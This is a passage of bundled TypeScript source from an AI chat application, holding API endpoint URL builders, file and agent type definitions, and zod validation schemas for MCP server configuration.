`${BASE_URL}/api/auth/requestPasswordReset`;\n\nexport const resetPassword = () => `${BASE_URL}/api/auth/resetPassword`;\n\nexport const verifyEmail = () => `${BASE_URL}/api/user/verify`;\n\n// Auth page URLs (for client-side navigation and redirects)\nexport const loginPage = () => `${BASE_URL}/login`;\nexport const registerPage = () => `${BASE_URL}/register`;\n\nconst REDIRECT_PARAM = 'redirect_to';\nconst LOGIN_PATH_RE = /(?:^|\\/)login(?:\\/|$)/;\n\n/**\n * Builds a `/login?redirect_to=...` URL from the given or current location.\n * Returns plain `/login` (no param) when already on a login route to prevent recursive nesting.\n */\nexport function buildLoginRedirectUrl(pathname?: string, search?: string, hash?: string): string {\n const p = pathname ?? window.location.pathname;\n if (LOGIN_PATH_RE.test(p)) {\n return '/login';\n }\n const s = search ?? window.location.search;\n const h = hash ?? window.location.hash;\n\n const stripped =\n BASE_URL && (p === BASE_URL || p.startsWith(BASE_URL + '/'))\n ? p.slice(BASE_URL.length) || '/'\n : p;\n const currentPath = `${stripped}${s}${h}`;\n if (!currentPath || currentPath === '/') {\n return '/login';\n }\n return `/login?${REDIRECT_PARAM}=${encodeURIComponent(currentPath)}`;\n}\n\nexport const resendVerificationEmail = () => `${BASE_URL}/api/user/verify/resend`;\n\nexport const plugins = () => `${BASE_URL}/api/plugins`;\n\nexport const mcpReinitialize = (serverName: string) =>\n `${BASE_URL}/api/mcp/${serverName}/reinitialize`;\nexport const mcpConnectionStatus = () => `${BASE_URL}/api/mcp/connection/status`;\nexport const mcpServerConnectionStatus = (serverName: string) =>\n `${BASE_URL}/api/mcp/connection/status/${serverName}`;\nexport const mcpAuthValues = (serverName: string) => {\n return `${BASE_URL}/api/mcp/${serverName}/auth-values`;\n};\n\nexport const cancelMCPOAuth = (serverName: string) => {\n return `${BASE_URL}/api/mcp/oauth/cancel/${serverName}`;\n};\n\nexport const mcpOAuthBind = (serverName: string) => `${BASE_URL}/api/mcp/${serverName}/oauth/bind`;\n\nexport const actionOAuthBind = (actionId: string) =>\n `${BASE_URL}/api/actions/${actionId}/oauth/bind`;\n\nexport const config = () => `${BASE_URL}/api/config`;\n\nexport const prompts = () => `${BASE_URL}/api/prompts`;\n\nexport const addPromptToGroup = (groupId: string) =>\n `${BASE_URL}/api/prompts/groups/${groupId}/prompts`;\n\nexport const assistants = ({\n path = '',\n options,\n version,\n endpoint,\n isAvatar,\n}: {\n path?: string;\n options?: object;\n endpoint?: AssistantsEndpoint;\n version: number | string;\n isAvatar?: boolean;\n}) => {\n let url = isAvatar === true ? `${images()}/assistants` : `${BASE_URL}/api/assistants/v${version}`;\n\n if (path && path !== '') {\n url += `/${path}`;\n }\n\n if (endpoint) {\n options = {\n ...(options ?? {}),\n endpoint,\n };\n }\n\n if (options && Object.keys(options).length > 0) {\n const queryParams = new URLSearchParams(options as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n\n return url;\n};\n\nexport const agents = ({ path = '', options }: { path?: string; options?: object }) => {\n let url = `${BASE_URL}/api/agents`;\n\n if (path && path !== '') {\n url += `/${path}`;\n }\n\n if (options && Object.keys(options).length > 0) {\n const queryParams = new URLSearchParams(options as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n\n return url;\n};\n\nexport const activeJobs = () => `${BASE_URL}/api/agents/chat/active`;\n\nexport const mcp = {\n tools: `${BASE_URL}/api/mcp/tools`,\n servers: `${BASE_URL}/api/mcp/servers`,\n};\n\nexport const mcpServer = (serverName: string) => `${BASE_URL}/api/mcp/servers/${serverName}`;\n\nexport const revertAgentVersion = (agent_id: string) => `${agents({ path: `${agent_id}/revert` })}`;\n\nexport const files = () => `${BASE_URL}/api/files`;\nexport const fileUpload = () => `${BASE_URL}/api/files`;\nexport const fileDelete = () => `${BASE_URL}/api/files`;\nexport const fileDownload = (userId: string, fileId: string) =>\n `${BASE_URL}/api/files/download/${userId}/${fileId}`;\nexport const fileConfig = () => `${BASE_URL}/api/files/config`;\nexport const agentFiles = (agentId: string) => `${BASE_URL}/api/files/agent/${agentId}`;\n\nexport const images = () => `${files()}/images`;\n\nexport const avatar = () => `${images()}/avatar`;\n\nexport const speech = () => `${files()}/speech`;\n\nexport const speechToText = () => `${speech()}/stt`;\n\nexport const textToSpeech = () => `${speech()}/tts`;\n\nexport const textToSpeechManual = () => `${textToSpeech()}/manual`;\n\nexport const textToSpeechVoices = () => `${textToSpeech()}/voices`;\n\nexport const getCustomConfigSpeech = () => `${speech()}/config/get`;\n\nexport const getPromptGroup = (_id: string) => `${prompts()}/groups/${_id}`;\n\nexport const getPromptGroupsWithFilters = (filter: object) => {\n let url = `${prompts()}/groups`;\n // Filter out undefined/null values\n const cleanedFilter = Object.entries(filter).reduce(\n (acc, [key, value]) => {\n if (value !== undefined && value !== null && value !== '') {\n acc[key] = value;\n }\n return acc;\n },\n {} as Record<string, string>,\n );\n\n if (Object.keys(cleanedFilter).length > 0) {\n const queryParams = new URLSearchParams(cleanedFilter).toString();\n url += `?${queryParams}`;\n }\n return url;\n};\n\nexport const getPromptsWithFilters = (filter: object) => {\n let url = prompts();\n if (Object.keys(filter).length > 0) {\n const queryParams = new URLSearchParams(filter as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n return url;\n};\n\nexport const getPrompt = (_id: string) => `${prompts()}/${_id}`;\n\nexport const getRandomPrompts = (limit: number, skip: number) =>\n `${prompts()}/random?limit=${limit}&skip=${skip}`;\n\nexport const postPrompt = prompts;\n\nexport const updatePromptGroup = getPromptGroup;\n\nexport const updatePromptLabels = (_id: string) => `${getPrompt(_id)}/labels`;\n\nexport const updatePromptTag = (_id: string) => `${getPrompt(_id)}/tags/production`;\n\nexport const deletePromptGroup = getPromptGroup;\n\nexport const deletePrompt = ({ _id, groupId }: { _id: string; groupId: string }) => {\n return `${prompts()}/${_id}?groupId=${groupId}`;\n};\n\nexport const getCategories = () => `${BASE_URL}/api/categories`;\n\nexport const getAllPromptGroups = () => `${prompts()}/all`;\n\n/* Roles */\nexport const roles = () => `${BASE_URL}/api/roles`;\nexport const getRole = (roleName: string) => `${roles()}/${roleName.toLowerCase()}`;\nexport const updatePromptPermissions = (roleName: string) => `${getRole(roleName)}/prompts`;\nexport const updateMemoryPermissions = (roleName: string) => `${getRole(roleName)}/memories`;\nexport const updateAgentPermissions = (roleName: string) => `${getRole(roleName)}/agents`;\nexport const updatePeoplePickerPermissions = (roleName: string) =>\n `${getRole(roleName)}/people-picker`;\nexport const updateMCPServersPermissions = (roleName: string) => `${getRole(roleName)}/mcp-servers`;\nexport const updateRemoteAgentsPermissions = (roleName: string) =>\n `${getRole(roleName)}/remote-agents`;\n\nexport const updateMarketplacePermissions = (roleName: string) =>\n `${getRole(roleName)}/marketplace`;\n\n/* Conversation Tags */\nexport const conversationTags = (tag?: string) =>\n `${BASE_URL}/api/tags${tag != null && tag ? `/${encodeURIComponent(tag)}` : ''}`;\n\nexport const conversationTagsList = (pageNumber: string, sort?: string, order?: string) =>\n `${conversationTags()}/list?pageNumber=${pageNumber}${sort ? `&sort=${sort}` : ''}${\n order ? `&order=${order}` : ''\n }`;\n\nexport const addTagToConversation = (conversationId: string) =>\n `${conversationTags()}/convo/${conversationId}`;\n\nexport const userTerms = () => `${BASE_URL}/api/user/terms`;\nexport const acceptUserTerms = () => `${BASE_URL}/api/user/terms/accept`;\nexport const banner = () => `${BASE_URL}/api/banner`;\n\n// Message Feedback\nexport const feedback = (conversationId: string, messageId: string) =>\n `${BASE_URL}/api/messages/${conversationId}/${messageId}/feedback`;\n\n// Two-Factor Endpoints\nexport const enableTwoFactor = () => `${BASE_URL}/api/auth/2fa/enable`;\nexport const verifyTwoFactor = () => `${BASE_URL}/api/auth/2fa/verify`;\nexport const confirmTwoFactor = () => `${BASE_URL}/api/auth/2fa/confirm`;\nexport const disableTwoFactor = () => `${BASE_URL}/api/auth/2fa/disable`;\nexport const regenerateBackupCodes = () => `${BASE_URL}/api/auth/2fa/backup/regenerate`;\nexport const verifyTwoFactorTemp = () => `${BASE_URL}/api/auth/2fa/verify-temp`;\n\n/* Memories */\nexport const memories = () => `${BASE_URL}/api/memories`;\nexport const memory = (key: string) => `${memories()}/${encodeURIComponent(key)}`;\nexport const memoryPreferences = () => `${memories()}/preferences`;\n\nexport const searchPrincipals = (params: q.PrincipalSearchParams) => {\n const { q: query, limit, types } = params;\n let url = `${BASE_URL}/api/permissions/search-principals?q=${encodeURIComponent(query)}`;\n\n if (limit !== undefined) {\n url += `&limit=${limit}`;\n }\n\n if (types && types.length > 0) {\n url += `&types=${types.join(',')}`;\n }\n\n return url;\n};\n\nexport const getAccessRoles = (resourceType: ResourceType) =>\n `${BASE_URL}/api/permissions/${resourceType}/roles`;\n\nexport const getResourcePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}`;\n\nexport const updateResourcePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}`;\n\nexport const getEffectivePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}/effective`;\n\nexport const getAllEffectivePermissions = (resourceType: ResourceType) =>\n `${BASE_URL}/api/permissions/${resourceType}/effective/all`;\n\n// SharePoint Graph API Token\nexport const graphToken = (scopes: string) =>\n `${BASE_URL}/api/auth/graph-token?scopes=${encodeURIComponent(scopes)}`;\n","import { EToolResources } from './assistants';\n\nexport enum FileSources {\n local = 'local',\n firebase = 'firebase',\n azure = 'azure',\n azure_blob = 'azure_blob',\n openai = 'openai',\n s3 = 's3',\n vectordb = 'vectordb',\n execute_code = 'execute_code',\n mistral_ocr = 'mistral_ocr',\n azure_mistral_ocr = 'azure_mistral_ocr',\n vertexai_mistral_ocr = 'vertexai_mistral_ocr',\n text = 'text',\n document_parser = 'document_parser',\n}\n\nexport const checkOpenAIStorage = (source: string) =>\n source === FileSources.openai || source === FileSources.azure;\n\nexport enum FileContext {\n avatar = 'avatar',\n unknown = 'unknown',\n agents = 'agents',\n assistants = 'assistants',\n execute_code = 'execute_code',\n image_generation = 'image_generation',\n assistants_output = 'assistants_output',\n message_attachment = 'message_attachment',\n filename = 'filename',\n updatedAt = 'updatedAt',\n source = 'source',\n filterSource = 'filterSource',\n context = 'context',\n bytes = 'bytes',\n}\n\nexport type EndpointFileConfig = {\n disabled?: boolean;\n fileLimit?: number;\n fileSizeLimit?: number;\n totalSizeLimit?: number;\n supportedMimeTypes?: RegExp[];\n};\n\nexport type FileConfig = {\n endpoints: {\n [key: string]: EndpointFileConfig;\n };\n fileTokenLimit?: number;\n serverFileSizeLimit?: number;\n avatarSizeLimit?: number;\n clientImageResize?: {\n enabled?: boolean;\n maxWidth?: number;\n maxHeight?: number;\n quality?: number;\n };\n ocr?: {\n supportedMimeTypes?: RegExp[];\n };\n text?: {\n supportedMimeTypes?: RegExp[];\n };\n stt?: {\n supportedMimeTypes?: RegExp[];\n };\n checkType?: (fileType: string, supportedTypes: RegExp[]) => boolean;\n};\n\nexport type FileConfigInput = {\n endpoints?: {\n [key: string]: EndpointFileConfig;\n };\n serverFileSizeLimit?: number;\n avatarSizeLimit?: number;\n clientImageResize?: {\n enabled?: boolean;\n maxWidth?: number;\n maxHeight?: number;\n quality?: number;\n };\n ocr?: {\n supportedMimeTypes?: string[];\n };\n text?: {\n supportedMimeTypes?: string[];\n };\n stt?: {\n supportedMimeTypes?: string[];\n };\n checkType?: (fileType: string, supportedTypes: RegExp[]) => boolean;\n};\n\nexport type TFile = {\n _id?: string;\n __v?: number;\n user: string;\n conversationId?: string;\n message?: string;\n file_id: string;\n temp_file_id?: string;\n bytes: number;\n embedded: boolean;\n filename: string;\n filepath: string;\n object: 'file';\n type: string;\n usage: number;\n context?: FileContext;\n source?: FileSources;\n filterSource?: FileSources;\n width?: number;\n height?: number;\n expiresAt?: string | Date;\n preview?: string;\n metadata?: { fileIdentifier?: string };\n createdAt?: string | Date;\n updatedAt?: string | Date;\n};\n\nexport type TFileUpload = TFile & {\n temp_file_id: string;\n};\n\nexport type AvatarUploadResponse = {\n url: string;\n};\n\nexport type SpeechToTextResponse = {\n text: string;\n};\n\nexport type VoiceResponse = string[];\n\nexport type UploadMutationOptions = {\n onSuccess?: (data: TFileUpload, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type UploadAvatarOptions = {\n onSuccess?: (data: AvatarUploadResponse, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type SpeechToTextOptions = {\n onSuccess?: (data: SpeechToTextResponse, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type TextToSpeechOptions = {\n onSuccess?: (data: ArrayBuffer, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type VoiceOptions = {\n onSuccess?: (data: VoiceResponse, variables: unknown, context?: unknown) => void;\n onMutate?: () => void | Promise<unknown>;\n onError?: (error: unknown, variables: unknown, context?: unknown) => void;\n};\n\nexport type DeleteFilesResponse = {\n message: string;\n result: Record<string, unknown>;\n};\n\nexport type BatchFile = {\n file_id: string;\n filepath: string;\n embedded: boolean;\n source: FileSources;\n temp_file_id?: string;\n};\n\nexport type DeleteFilesBody = {\n files: BatchFile[];\n agent_id?: string;\n assistant_id?: string;\n tool_resource?: EToolResources;\n};\n\nexport type DeleteMutationOptions = {\n onSuccess?: (data: DeleteFilesResponse, variables: DeleteFilesBody, context?: unknown) => void;\n onMutate?: (variables: DeleteFilesBody) => void | Promise<unknown>;\n onError?: (error: unknown, variables: DeleteFilesBody, context?: unknown) => void;\n};\n","/* eslint-disable @typescript-eslint/no-namespace */\nimport { StepTypes, ContentTypes, ToolCallTypes } from './runs';\nimport type { FunctionToolCall, SummaryContentPart } from './assistants';\nimport type { TAttachment, TPlugin } from 'src/schemas';\n\nexport namespace Agents {\n export type MessageType = 'human' | 'ai' | 'generic' | 'system' | 'function' | 'tool' | 'remove';\n\n export type ImageDetail = 'auto' | 'low' | 'high';\n\n export type ReasoningContentText = {\n type: ContentTypes.THINK;\n think: string;\n };\n\n export type MessageContentText = {\n type: ContentTypes.TEXT;\n text: string;\n tool_call_ids?: string[];\n };\n\n export type AgentUpdate = {\n type: ContentTypes.AGENT_UPDATE;\n agent_update: {\n index: number;\n runId: string;\n agentId: string;\n };\n };\n\n export type MessageContentImageUrl = {\n type: ContentTypes.IMAGE_URL;\n image_url: string | { url: string; detail?: ImageDetail };\n };\n\n export type MessageContentVideoUrl = {\n type: ContentTypes.VIDEO_URL;\n video_url: { url: string };\n };\n\n export type MessageContentInputAudio = {\n type: ContentTypes.INPUT_AUDIO;\n input_audio: {\n data: string;\n format: string;\n };\n };\n\n export type MessageContentComplex =\n | ReasoningContentText\n | AgentUpdate\n | MessageContentText\n | MessageContentImageUrl\n | MessageContentVideoUrl\n | MessageContentInputAudio\n | SummaryContentPart\n | ToolCallContent\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n | (Record<string, any> & { type?: ContentTypes | string })\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n | (Record<string, any> & { type?: never });\n\n export type MessageContent = string | MessageContentComplex[];\n\n /**\n * A call to a tool.\n */\n export type ToolCall = {\n /** Type (\"tool_call\") according to Assistants Tool Call Structure */\n type: ToolCallTypes.TOOL_CALL;\n /** The name of the tool to be called */\n name: string;\n\n /** The arguments to the tool call */\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n args?: string | Record<string, any>;\n\n /** If provided, an identifier associated with the tool call */\n id?: string;\n /** If provided, the output of the tool call */\n output?: string;\n /** Auth URL */\n auth?: string;\n /** Expiration time */\n expires_at?: number;\n };\n\n export type ToolEndEvent = {\n /** The Step Id of the Tool Call */\n id: string;\n /** The Completed Tool Call */\n tool_call?: ToolCall;\n /** The content index of the tool call */\n index: number;\n };\n\n export type ToolCallContent = {\n type: ContentTypes.TOOL_CALL;\n tool_call?: ToolCall;\n };\n\n /**\n * A chunk of a tool call (e.g., as part of a stream).\n * When merging ToolCallChunks (e.g., via AIMessageChunk.__add__),\n * all string attributes are concatenated. Chunks are only merged if their\n * values of `index` are equal and not None.\n *\n * @example\n * ```ts\n * const leftChunks = [\n * {\n * name: \"foo\",\n * args: '{\"a\":',\n * index: 0\n * }\n * ];\n *\n * const leftAIMessageChunk = new AIMessageChunk({\n * content: \"\",\n * tool_call_chunks: leftChunks\n * });\n *\n * const rightChunks = [\n * {\n * name: undefined,\n * args: '1}',\n * index: 0\n * }\n * ];\n *\n * const rightAIMessageChunk = new AIMessageChunk({\n * content: \"\",\n * tool_call_chunks: rightChunks\n * });\n *\n * const result = leftAIMessageChunk.concat(rightAIMessageChunk);\n * // result.tool_call_chunks is equal to:\n * // [\n * // {\n * // name: \"foo\",\n * // args: '{\"a\":1}'\n * // index: 0\n * // }\n * // ]\n * ```\n *\n * @property {string} [name] - If provided, a substring of the name of the tool to be called\n * @property {string} [args] - If provided, a JSON substring of the arguments to the tool call\n * @property {string} [id] - If provided, a substring of an identifier for the tool call\n * @property {number} [index] - If provided, the index of the tool call in a sequence\n */\n export type ToolCallChunk = {\n name?: string;\n\n args?: string;\n\n id?: string;\n\n index?: number;\n\n type?: 'tool_call_chunk';\n };\n\n /** Event names are of the format: on_[runnable_type]_(start|stream|end).\n\n Runnable types are one of:\n\n llm - used by non chat models\n chat_model - used by chat models\n prompt -- e.g., ChatPromptTemplate\n tool -- LangChain tools\n chain - most Runnables are of this type\n Further, the events are categorized as one of:\n\n start - when the runnable starts\n stream - when the runnable is streaming\n end - when the runnable ends\n start, stream and end are associated with slightly different data payload.\n\n Please see the documentation for EventData for more details. */\n export type EventName = string;\n export type RunStep = {\n type: StepTypes;\n id: string; // #new\n runId?: string; // #new\n agentId?: string; // #new\n index: number; // #new\n stepIndex?: number; // #new\n /** Group ID for parallel content - parts with same groupId are displayed in columns */\n groupId?: number; // #new\n stepDetails: StepDetails;\n summary?: SummaryContentPart;\n usage: null | object;\n };\n\n /** Content part for aggregated message content */\n export interface ContentPart {\n type: string;\n text?: string;\n [key: string]: unknown;\n }\n\n /** User message metadata for rebuilding submission on reconnect */\n export interface UserMessageMeta {\n messageId: string;\n parentMessageId?: string;\n conversationId?: string;\n text?: string;\n }\n\n /** State data sent to reconnecting clients */\n export interface ResumeState {\n runSteps: RunStep[];\n /** Aggregated content parts - can be MessageContentComplex[] or ContentPart[] */\n aggregatedContent?: MessageContentComplex[];\n userMessage?: UserMessageMeta;\n responseMessageId?: string;\n conversationId?: string;\n sender?: string;\n }\n /**\n * Represents a run step delta i.e. any changed fields on a run step during\n * streaming.\n */\n export interface RunStepDeltaEvent {\n /**\n * The identifier of the run step, which can be referenced in API endpoints.\n */\n id: string;\n /**\n * The delta containing the fields that have changed on the run step.\n */\n delta: ToolCallDelta;\n }\n export type StepDetails = MessageCreationDetails | ToolCallsDetails;\n export type MessageCreationDetails = {\n type: StepTypes.MESSAGE_CREATION;\n message_creation: {\n message_id: string;\n };\n };\n export type ToolCallsDetails = {\n type: StepTypes.TOOL_CALLS;\n tool_calls: AgentToolCall[];\n };\n export type ToolCallDelta = {\n type: StepTypes.TOOL_CALLS | string;\n tool_calls?: ToolCallChunk[];\n auth?: string;\n expires_at?: number;\n };\n export type AgentToolCall = FunctionToolCall | ToolCall;\n export interface ExtendedMessageContent {\n type?: string;\n text?: string;\n input?: string;\n index?: number;\n id?: string;\n name?: string;\n }\n /**\n * Represents a message delta i.e. any changed fields on a message during\n * streaming.\n */\n export interface MessageDeltaEvent {\n /**\n * The identifier of the message, which can be referenced in API endpoints.\n */\n id: string;\n /**\n * The delta containing the fields that have changed on the Message.\n */\n delta: MessageDelta;\n }\n /**\n * The delta containing the fields that have changed on the Message.\n */\n export interface MessageDelta {\n /**\n * The content of the message in array of text and/or images.\n */\n content?: Agents.MessageContentComplex[];\n }\n\n /**\n * Represents a reasoning delta i.e. any changed fields on a message during\n * streaming.\n */\n export interface ReasoningDeltaEvent {\n /**\n * The identifier of the message, which can be referenced in API endpoints.\n */\n id: string;\n\n /**\n * The delta containing the fields that have changed.\n */\n delta: ReasoningDelta;\n }\n\n /**\n * The reasoning delta containing the fields that have changed on the Message.\n */\n export interface ReasoningDelta {\n /**\n * The content of the message in array of text and/or images.\n */\n content?: MessageContentComplex[];\n }\n\n export type ReasoningDeltaUpdate = { type: ContentTypes.THINK; think: string };\n export type ContentType =\n | ContentTypes.THINK\n | ContentTypes.TEXT\n | ContentTypes.IMAGE_URL\n | ContentTypes.VIDEO_URL\n | ContentTypes.INPUT_AUDIO\n | string;\n\n export interface SummarizeStartEvent {\n agentId: string;\n provider: string;\n model?: string;\n messagesToRefineCount: number;\n summaryVersion: number;\n }\n\n export interface SummarizeDeltaEvent {\n id: string;\n delta: {\n summary: SummaryContentPart;\n };\n }\n\n export interface SummarizeCompleteEvent {\n id: string;\n agentId: string;\n summary?: SummaryContentPart;\n error?: string;\n }\n}\n\nexport type ToolCallResult = {\n user: string;\n toolId: string;\n result?: unknown;\n messageId: string;\n partIndex?: number;\n blockIndex?: number;\n conversationId: string;\n attachments?: TAttachment[];\n};\n\nexport enum AuthTypeEnum {\n ServiceHttp = 'service_http',\n OAuth = 'oauth',\n None = 'none',\n}\n\nexport enum AuthorizationTypeEnum {\n Bearer = 'bearer',\n Basic = 'basic',\n Custom = 'custom',\n}\n\nexport enum TokenExchangeMethodEnum {\n DefaultPost = 'default_post',\n BasicAuthHeader = 'basic_auth_header',\n}\n\nexport type Action = {\n action_id: string;\n type?: string;\n settings?: Record<string, unknown>;\n metadata: ActionMetadata;\n version: number | string;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id: string });\n\nexport type ActionMetadata = {\n api_key?: string;\n auth?: ActionAuth;\n domain?: string;\n privacy_policy_url?: string;\n raw_spec?: string;\n oauth_client_id?: string;\n oauth_client_secret?: string;\n};\n\nexport type ActionAuth = {\n authorization_type?: AuthorizationTypeEnum;\n custom_auth_header?: string;\n type?: AuthTypeEnum;\n authorization_content_type?: string;\n authorization_url?: string;\n client_url?: string;\n scope?: string;\n token_exchange_method?: TokenExchangeMethodEnum;\n};\n\nexport type ActionMetadataRuntime = ActionMetadata & {\n oauth_access_token?: string;\n oauth_refresh_token?: string;\n oauth_token_expires_at?: Date;\n};\n\nexport type MCP = {\n serverName: string;\n metadata: MCPMetadata;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id?: string });\n\nexport type MCPMetadata = Omit<ActionMetadata, 'auth'> & {\n name?: string;\n description?: string;\n url?: string;\n tools?: string[];\n auth?: MCPAuth;\n icon?: string;\n trust?: boolean;\n};\n\nexport type MCPAuth = ActionAuth;\n\nexport type AgentToolType = {\n tool_id: string;\n metadata: ToolMetadata;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id?: string });\n\nexport type ToolMetadata = TPlugin;\n\nexport interface BaseMessage {\n content: string;\n role?: string;\n [key: string]: unknown;\n}\n\nexport interface BaseGraphState {\n [key: string]: unknown;\n}\n\nexport type GraphEdge = {\n /** Agent ID, use a list for multiple sources */\n from: string | string[];\n /** Agent ID, use a list for multiple destinations */\n to: string | string[];\n description?: string;\n /** Can return boolean or specific destination(s) */\n condition?: (state: BaseGraphState) => boolean | string | string[];\n /** 'handoff' creates tools for dynamic routing, 'direct' creates direct edges, which also allow parallel execution */\n edgeType?: 'handoff' | 'direct';\n /**\n * For direct edges: Optional prompt to add when transitioning through this edge.\n * String prompts can include variables like {results} which will be replaced with\n * messages from startIndex onwards. When {results} is used, excludeResults defaults to true.\n *\n * For handoff edges: Description for the input parameter that the handoff tool accepts,\n * allowing the supervisor to pass specific instructions/context to the transferred agent.\n */\n prompt?: string | ((messages: BaseMessage[], runStartIndex: number) => string | undefined);\n /**\n * When true, excludes messages from startIndex when adding prompt.\n * Automatically set to true when {results} variable is used in prompt.\n */\n excludeResults?: boolean;\n /**\n * For handoff edges: Customizes the parameter name for the handoff input.\n * Defaults to \"instructions\" if not specified.\n * Only applies when prompt is provided for handoff edges.\n */\n promptKey?: string;\n};\n","import { z } from 'zod';\nimport { TokenExchangeMethodEnum } from './types/agents';\nimport { extractEnvVariable } from './utils';\n\nconst BaseOptionsSchema = z.object({\n /** Display name for the MCP server - only letters, numbers, and spaces allowed */\n title: z\n .string()\n .regex(/^[a-zA-Z0-9 ]+$/, 'Title can only contain letters, numbers, and spaces')\n .optional(),\n /** Description of the MCP server */\n description: z.string().optional(),\n /**\n * Controls whether the MCP server is initialized during application startup.\n * - true (default): Server is initialized during app startup and included in app-level connections\n * - false: Skips initialization at startup and excludes from app-level connections - useful for servers\n * requiring manual authentication (e.g., GitHub PAT tokens) that need to be configured through the UI after startup\n */\n startup: z.boolean().optional(),\n iconPath: z.string().optional(),\n timeout: z.number().optional(),\n /** Timeout (ms) for the long-lived SSE GET stream body before undici aborts it. Default: 300_000 (5 min). */\n sseReadTimeout: z.number().positive().optional(),\n initTimeout: z.number().optional(),\n /** Controls visibility in chat dropdown menu (MCPSelect) */\n chatMenu: z.boolean().optional(),\n /**\n * Controls server instruction behavior:\n * - undefined/not set: No instructions included (default)\n * - true: Use server-provided instructions\n * - string: Use custom instructions (overrides server-provided)\n */\n serverInstructions: z.union([z.boolean(), z.string()]).optional(),\n /**\n * Whether this server requires OAuth authentication\n * If not specified, will be auto-detected during construction\n */\n requiresOAuth: z.boolean().optional(),\n /**\n * OAuth configuration for SSE and Streamable HTTP transports\n * - Optional: OAuth can be auto-discovered on 401 responses\n * - Pre-configured values will skip discovery steps\n */\n oauth: z\n .object({\n /** OAuth authorization endpoint (optional - can be auto-discovered) */\n authorization_url: z.string().url().optional(),\n /** OAuth token endpoint (optional - can be auto-discovered) */\n token_url: z.string().url().optional(),\n /** OAuth client ID (optional - can use dynamic registration) */\n client_id: z.string().optional(),\n /** OAuth client secret (optional - can use dynamic registration) */\n client_secret: z.string().optional(),\n /** OAuth scopes to request */\n scope: z.string().optional(),\n /** OAuth redirect URI (defaults to /api/mcp/{serverName}/oauth/callback) */\n redirect_uri: z.string().url().optional(),\n /** Token exchange method */\n token_exchange_method: z.nativeEnum(TokenExchangeMethodEnum).optional(),\n /** Supported grant types (defaults to ['authorization_code', 'refresh_token']) */\n grant_types_supported: z.array(z.string()).optional(),\n /** Supported token endpoint authentication methods (defaults to ['client_secret_basic', 'client_secret_post']) */\n token_endpoint_auth_methods_supported: z.array(z.string()).optional(),\n /** Supported response types (defaults to ['code']) */\n response_types_supported: z.array(z.string()).optional(),\n /** Supported code challenge methods (defaults to ['S256', 'plain']) */\n code_challenge_methods_supported: z.array(z.string()).optional(),\n /** Skip code challenge validation and force S256 (useful for providers like AWS Cognito that support S256 but don't advertise it) */\n skip_code_challenge_check: z.boolean().optional(),\n /** OAuth revocation endpoint (optional - can be auto-discovered) */\n revocation_endpoint: z.string().url().optional(),\n /** OAuth revocation endpoint authentication methods supported (optional - can be auto-discovered) */\n revocation_endpoint_auth_methods_supported: z.array(z.string()).optional(),\n })\n .optional(),\n /** Custom headers to send with OAuth requests (registration, discovery, token exchange, etc.) */\n oauth_headers: z.record(z.string(), z.string()).optional(),\n /**\n * API Key authentication configuration for SSE and Streamable HTTP transports\n * - source: 'admin' means the key is provided by admin and shared by all users\n * - source: 'user' means each user provides their own key via customUserVars\n */\n apiKey: z\n .object({\n /** API key value (only for admin-provided mode, stored encrypted) */\n key: z.string().optional(),\n /** Whether key is provided by admin or each user */\n source: z.enum(['admin', 'user']),\n /** How to format the authorization header */\n authorization_type: z.enum(['basic', 'bearer', 'custom']),\n /** Custom header name when authorization_type is 'custom' */\n custom_header: z.string().optional(),\n })\n .optional(),\n customUserVars: z\n .record(\n z.string(),\n z.object({\n title: z.string(),\n description: z.string(),\n }),\n )\n .optional(),\n});\n\nexport const StdioOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('stdio').optional(),\n /**\n * The executable to run to start the server.\n */\n command: z.string(),\n /**\n * Command line arguments to pass to the executable.\n */\n args: z.array(z.string()),\n /**\n * The environment to use when spawning the process.\n *\n * If not specified, the result of getDefaultEnvironment() will be used.\n * Environment variables can be referenced using ${VAR_NAME} syntax.\n */\n env: z\n .record(z.string(), z.string())\n .optional()\n .transform((env) => {\n if (!env) {\n return env;\n }\n\n const processedEnv: Record<string, string> = {};\n for (const [key, value] of Object.entries(env)) {\n processedEnv[key] = extractEnvVariable(value);\n }\n return processedEnv;\n }),\n /**\n * How to handle stderr of the child process. This matches the semantics of Node's `child_process.spawn`.\n *\n * @type {import('node:child_process').IOType | import('node:stream').Stream | number}\n *\n * The default is \"inherit\", meaning messages to stderr will be printed to the parent process's stderr.\n */\n stderr: z.any().optional(),\n});\n\nexport const WebSocketOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('websocket').optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol === 'ws:' || protocol === 'wss:';\n },\n {\n message: 'WebSocket URL must start with ws:// or wss://',\n },\n ),\n});\n\nexport const SSEOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('sse').optional(),\n headers: z.record(z.string(), z.string()).optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new 